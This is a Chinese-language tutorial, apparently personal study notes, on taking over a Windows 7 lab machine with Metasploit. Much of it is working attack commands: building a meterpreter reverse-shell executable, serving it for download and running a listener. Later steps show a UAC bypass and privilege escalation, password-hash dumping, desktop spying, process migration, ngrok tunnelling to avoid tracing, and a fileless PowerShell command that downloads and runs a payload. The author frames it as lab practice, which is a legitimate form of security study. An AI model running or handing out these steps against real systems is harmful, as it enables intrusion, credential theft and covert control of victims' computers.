使用MSF獲取windows電腦權(quán)限
前言:這是作者學(xué)習(xí)過程中的部分筆記,歡迎大佬指出問題,文章中的靶場環(huán)境均為自己搭建
想要閱讀md格式的文章可以移步鏈接(https://zhuanlan.zhihu.com/p/601107518)(小聲說一句,b站什么時候才支持md文檔)
聲明:該筆記只是為了技術(shù)交流,文章中所有的操作請在自己搭建的靶場中復(fù)現(xiàn)。請勿用于其他非法用途,更不要用于攻擊他人電腦和服務(wù)器。文章未經(jīng)作者授權(quán),禁止轉(zhuǎn)載。
#### msfvenom簡介
msfvenom是msfpayload和msfencode的結(jié)合體,于2015.6.8取代了msfpayload和msfencode.此后,metasploit-framework下面的msfpayload,msfencoder,msfcli都不再被支持。
msfvenom所有參數(shù):
`-p, -payload <payload>, 指定需要使用的payload,也可以是自定義的payload,幾乎支持全平臺`
`-l,-list [module_type]列出指定模塊的所有可用資源。模塊類型包括payload、encoders、nops、all`
`-n,-nopsled <length> 為payload預(yù)先指定一個NOP滑動長度`
`-f,-format <format> 指定輸出格式`
`-e,-encoder [encoder] 指定需要使用的encoder,指定需要使用的編碼,如果既沒有-e選項也沒有-b選項,則輸出raw payload `
`-a,-arch <architecture> 指定payload的目標(biāo)架構(gòu),例如x86|x64|x86_64`
`-platform <platform> 指定payload的目標(biāo)平臺`
`-s,-space <length> 設(shè)定有效攻擊載荷的最大長度,即文件大小`
`-b,-bad-chars <list> 設(shè)定規(guī)避字符集,指定需要過濾的壞字符例如:不使用'\x0f','\x00'`
`-i,-iterations <count> 指定payload的編碼次數(shù)`
`-c,-add-code <path> 指定一個附加的win32 shellcode文件`
`-x,-template <path> 指定一個自定義的可執(zhí)行文件作為模板,并將payload嵌入其中`
`-k,-keep 保護模板程序的動作,注入的payload作為一個新的進程運行`
`-payload-options 列舉payload的標(biāo)準(zhǔn)選項`
`-o,-out <path> 指定創(chuàng)建好的payload的存放位置`
`-v,-var-name <name> 指定一個自定義的變量,以確定輸出格式`
`-shellest 最小化生成payload`
`-h,-help 查看幫助選項`
`-help-formats 查看msf支持的輸出格式列表`
##### 常用參數(shù)
```
msfvenom -p windowsw/meterpreter/reverse_tcp --list-options
查看windows/meterpreter/reverse_tcp支持什么平臺,哪些選項
```
`msfvenom --list payload 查看所有payloads`
```
msfvenom --list encoders 查看所有編碼器
評價最高的兩個encoder為cmd/powershell_base64(現(xiàn)在免殺效果不太行了)和x86/shikata_ga_nai,x86/shikata_ga_nai是免殺中使用頻率最高的一個編碼器
```
```
類似可使用 msfvenom --list命令查看payload、encoders、nops、platforms、archs、encrypt、formats
```
##### handler后臺持續(xù)監(jiān)聽
```
msf exploit(multi/handler) > exploit -j -z
使用exploit -j -z可在后臺持續(xù)監(jiān)聽,-j為后臺任務(wù),-z為持續(xù)監(jiān)聽。使用jobs命令查看和管理后臺任務(wù)。jobs -K 可結(jié)束所有任務(wù)。
如果不使用該命令,將在監(jiān)聽一次后結(jié)束。
```
```
快捷建立監(jiān)聽的方式,在msf下直接執(zhí)行(該命令默認(rèn)持續(xù)后臺監(jiān)聽):
msf > handler -H 192.168.10.100,-P 1122 -p windows/meterpreter/reverse_tcp
```
#### 使用MSF獲取windows權(quán)限
實驗設(shè)備:
以下均為虛擬機設(shè)備:
kali : ip 192.168.10.100
win7: ip 192.168.10.112
win 08 R2: ip 192.168.10.128
進入kali,以root權(quán)限運行以下命令:
`msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.100 LPORT=1133 -f exe > 1.exe`
如圖,可以看到生成的payload文件的大小

同時我們也在自己的主文件夾中找到了生成的1.exe文件
接下來就是將生成的1.exe文件傳遞到目標(biāo)主機上面,由于win10物理機上開啟了安全防護,生成的文件會被殺軟攔截,所以我們不直接通過win10復(fù)制文件,而是通過訪問網(wǎng)站的形式下載相應(yīng)文件
借助kali里的apache服務(wù),將文件放在網(wǎng)站根目錄中 /var/www/html/,開啟apache服務(wù)后,可以通過訪問該網(wǎng)站下載文件(需要確保不同虛擬機之間可以ping通,如果無法ping通可以嘗試關(guān)閉防火墻服務(wù),本質(zhì)上可以認(rèn)為是局域網(wǎng)間的連接)
```
service apache2 start //開啟apache服務(wù)
service apache2 status //查看apache服務(wù)狀態(tài)
```

可以看到,服務(wù)已經(jīng)正常開啟
我們再嘗試以下是否能夠訪問網(wǎng)站,進入瀏覽器,輸入本機ip

同時在win7上訪問該網(wǎng)站(同樣輸入kali的ip地址),

發(fā)現(xiàn)也能正常訪問,接下來就是把木馬上傳到該網(wǎng)站中
在kali里執(zhí)行以下命令(在剛才存放1.exe的文件夾中打開終端,進入root權(quán)限):
```
sudo su //進入root權(quán)限
cp 1.exe /var/www/html? ? //將文件上傳到網(wǎng)站根目錄中
```
現(xiàn)在我們已經(jīng)可以通過訪問網(wǎng)站下載1.exe木馬文件了。在win7輸入網(wǎng)址 192.168.10.100/1.exe,進入后會出現(xiàn)文件下載提示

我們將文件保存在桌面上,方便后續(xù)測試
接下來我們需要在kali中開啟msf的監(jiān)聽功能
`-# msfconsole`

進入成功后命令行會變成如下圖:

繼續(xù)輸入命令:
```
msf6 > use exploit/mulit/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp? //根據(jù)剛才生成的木馬的模板輸入相應(yīng)的監(jiān)聽設(shè)置
msf6 exploit(multi/handler) > options? //查看設(shè)置
```

可以看到還有一個本地的監(jiān)聽地址沒有設(shè)置,我們將其設(shè)置為本機ip,也將監(jiān)聽端口設(shè)置為先前生成的木馬設(shè)置的端口
```
msf6 exploit(multi/handler) > set LHOST 192.168.10.100
msf6 exploit(multi/handler) > set LPORT 1133
msf6 exploit(multi/handler) > run
```

可以看到,已經(jīng)開始運行了,但是直接run會導(dǎo)致只能監(jiān)聽一次,不能持續(xù)監(jiān)聽,根據(jù)前面的介紹,為了后臺持續(xù)監(jiān)聽,我們應(yīng)該使用以下命令:
```
msf exploit(multi/handler) > exploit -j -z
```
或者直接一步開啟監(jiān)聽:
`msf6 > handler -H 192.168.10.100 -P 1133 -p windows/meterpreter/reverse_tcp`
輸入jobs,可以查看后臺開啟的監(jiān)聽列表

現(xiàn)在在win7里面雙擊運行1.exe(這只是在靶場測試下這樣啟動,在實際的滲透測試環(huán)境中,需要通過各種社工手段來誘導(dǎo)目標(biāo)點擊運行該程序,如捆綁程序,圖片馬等等,這里不詳細(xì)描述,因為筆者也不熟練)

可以看到,現(xiàn)在已經(jīng)成功與目標(biāo)主機建立了連接
同時我們在win7里也可以查看到這個連接信息

這里可以看出,108:49388連接到100:1133,直接以這種方式建立連接,在實際中很容易被溯源,所以我們需要一點小手段(使用ngrok與本地建立一個隧道,通過端口轉(zhuǎn)發(fā)的方式實現(xiàn)連接。生成木馬時的ip要設(shè)置位ngrok的ip,而監(jiān)聽ip設(shè)置位本地ip,監(jiān)聽端口則設(shè)置為轉(zhuǎn)發(fā)端口。這樣當(dāng)目標(biāo)靶機運行程序后,與其建立連接的將是ngrok提供的服務(wù)器,而不會暴露我們自己的ip,這里不進行演示,沒錢買服務(wù)器@~@,當(dāng)然也可以用免費的嘗試一下,不過免費的服務(wù)器容易斷開)。
接下來就是使用meterpreter對目標(biāo)靶機進行控制和提權(quán)
```
msf6 > sessions -l? //查看所有會話
msf6 > sessions -i -1? //調(diào)用對應(yīng)序號會話
```

`meterpreter > shell? //進入win的cmd命令行`
`meterpreter > help? //查看更多命令信息`

可以看到meterpreter提供了很多命令,包括桌面監(jiān)控,攝像頭控制等功能
然后就是最重要的提取權(quán)限:
`meterpreter > getuid? ?//查看當(dāng)前的系統(tǒng)權(quán)限,下圖可以看到獲得的只是一個用戶權(quán)限,而我們的目標(biāo)是拿到system權(quán)限,有了系統(tǒng)權(quán)限我們才有機會去做更多操作`
`meterpreter > getsystem //獲取系統(tǒng)權(quán)限(多數(shù)情況不能直接獲取,但總要試一下,萬一能直接成功呢)`

顯然,我們提權(quán)嘗試失敗,所以我們嘗試用bypassuac模塊進行提權(quán)
```
meterpreter > background? //后臺掛起該會話
msf6 exploit(multi/handler) > search bypassuac
```

如圖,msf提供了很多bypassuac模塊,根據(jù)描述,前兩個是針對win10的,其他的沒有什么特殊說明,所以只能自己去測試。
由于我們的目標(biāo)靶機是win7,所以我們直接從第三個模塊開始。運氣很好,剛開始測試就直接提權(quán)成功,下面是具體的操作命令:
```
msf6 exploit(multi/handler) > use exploit/windows/loacl/bypassuac
msf6 exploit(windows/loacl/bypassuac) > set session 1??
msf6 exploit(windows/loacl/bypassuac) > exploit
```
bypassuac模塊只需要設(shè)置session參數(shù),如果成功就會返回一個新的會話,之后再用getsystem進行提權(quán)

如圖,我們現(xiàn)在已經(jīng)成功的拿到了win7的system權(quán)限
我們可以嘗試獲取一下win7的hash

成功拿到hash
有些時候會出現(xiàn)無法使用hashdump的情況,這時候我們可以調(diào)用post里面的后滲透攻擊模塊

可以看到,這里集成了很多模塊,從中找到我們需要的 post/windows/gather/hashdump,然后運行該模塊

`meterpreter > run post/windows/gather/hashdump`

我們也成功的拿到了hash
接下來我們使用桌面監(jiān)控指令
`meterpreter > run vnc`

一段時間后,會出現(xiàn)一個系統(tǒng)界面的窗口,這就是我們目標(biāo)靶機win7的界面?,F(xiàn)在我們就成功的在kali里監(jiān)控了win7的界面,但是我們只能監(jiān)控,而不能在這個窗口中做任何操作。當(dāng)然,通過修改vnc模塊參數(shù),我們可以將這個監(jiān)控界面從只讀改為可執(zhí)行狀態(tài),實現(xiàn)對桌面的控制(這里不展開解釋,因為筆者還沒研究)。
稍微了解了一些基本的功能,我們接下來要做的就是遷移進程。由于直接在目標(biāo)機上運行程序建立的連接很不穩(wěn)定,容易被斷開或殺掉,所以我們需要將木馬程序遷移到目標(biāo)靶機正在運行的進程中,從而保證連接的穩(wěn)定性。
`meterpreter > ps? ?//查看系統(tǒng)進程`

我們選擇其中一個進程,將程序遷移進去
`meterpreter > migrate 2612`

現(xiàn)在進程已經(jīng)遷移成功,即使關(guān)掉原來的1.exe程序,監(jiān)控會話也能保持連接。

能夠發(fā)現(xiàn),即使我們已經(jīng)在win7里結(jié)束了1.exe程序,我們依舊能夠保持會話,使用meterpreter的各項功能,這說明我們的程序在遷移到其他進程中后,依舊能夠正常運行(可以嘗試將遷移到360等殺軟中,但一般是無法成功遷移的,因為這類殺軟都有進程保護)。
#### MSF無文件攻擊
上面建立連接的方式是通過向目標(biāo)靶機注入木馬達到監(jiān)聽的目的,而目標(biāo)靶機中會存在一個1.exe的文件。所以我們需要思考一下,是否可以通過不生成落地文件,從而實現(xiàn)監(jiān)聽的目的。無文件攻擊就是通過使用命令,遠(yuǎn)程調(diào)用代碼加載到內(nèi)存里面運行。
##### powershell配合msf實現(xiàn)無文件攻擊
```
生成ps腳本
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOSTS=192.168.10.100 LPORT=1125 -f psh-reflection > x.ps1
設(shè)置偵聽
use exlpoit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.10.108
客戶端運行
powershell IEX(New-Object Net.WebClient).DownloadString('http://192.168.10.128/x.ps1')
```
具體操作
`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOSTS=192.168.10.100 `

現(xiàn)在已經(jīng)生成了一個powershell文件,我們將該文件上傳到服務(wù)器里
這里將win2008 R2作為網(wǎng)站服務(wù)器,使用phpstudy開啟服務(wù),將生成的x.ps1文件放在網(wǎng)站根目錄里面(即phpstudy的www文件夾中),輸入08服務(wù)器的ip(192.168.10.128)即可訪問建立的網(wǎng)站。我們在目標(biāo)靶機(win7)的瀏覽器中打開目標(biāo)網(wǎng)址(192.168.10.128/x.ps1)

發(fā)現(xiàn)網(wǎng)頁上會直接顯示powershell文件的代碼,接下來要實現(xiàn)的就是通過命令行執(zhí)行這串代碼。
首先在kali里設(shè)置對應(yīng)的監(jiān)聽
`msf6 > handler -H 192.168.10.100 -P 1125 -p windows/x64/meterpreter/reverse_tcp `

然后在win7中運行如下命令:
`powershell IEX(New-Object Net.WebClient).DownloadString('http://192.168.10.128/x.ps1')`

運行命令后,出現(xiàn)powershell停止工作的提示(思考ing)。
查閱資料和檢查配置后,筆者發(fā)現(xiàn)自己安裝的win7是32位系統(tǒng),而我們生成的x.ps1文件為64位(windows支持向下兼容,即64位系統(tǒng)可以運行32位文件,反之則不行)
`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOSTS=192.168.10.100 LPORT=1125 -f psh-reflection > x.ps1`
可以發(fā)現(xiàn)該命令中 `/x64`指定了生成的文件為64位,所以我們重新生成一個新的木馬
`msfvenom -p windows/meterpreter/reverse_tcp LHOSTS=192.168.10.100 LPORT=1144 -f psh-reflection > y.ps1? ? ? ? ? ? //不指定生成文件位數(shù),則默認(rèn)為32位`
開啟監(jiān)聽:
`handler -H 192.168.10.100 -P 1144 -p windows/meterpreter/reverse_tcp`
重復(fù)之前的步驟(將木馬文件上傳到08服務(wù)器上)
在目標(biāo)靶機(win7)運行命令:
`powershell IEX(New-Object Net.WebClient).DownloadString('http://192.168.10.128/y.ps1')`

這次沒有出現(xiàn)停止工作的提示了,再看一下kali里,會話是否建立成功。

也成功建立會話,至此,無文件攻擊成功。在這個過程中我們可以發(fā)現(xiàn),win7里面并沒有下載任何的木馬文件,而是通過訪問網(wǎng)站的方式,直接將y.ps1中的代碼加載到內(nèi)存中執(zhí)行。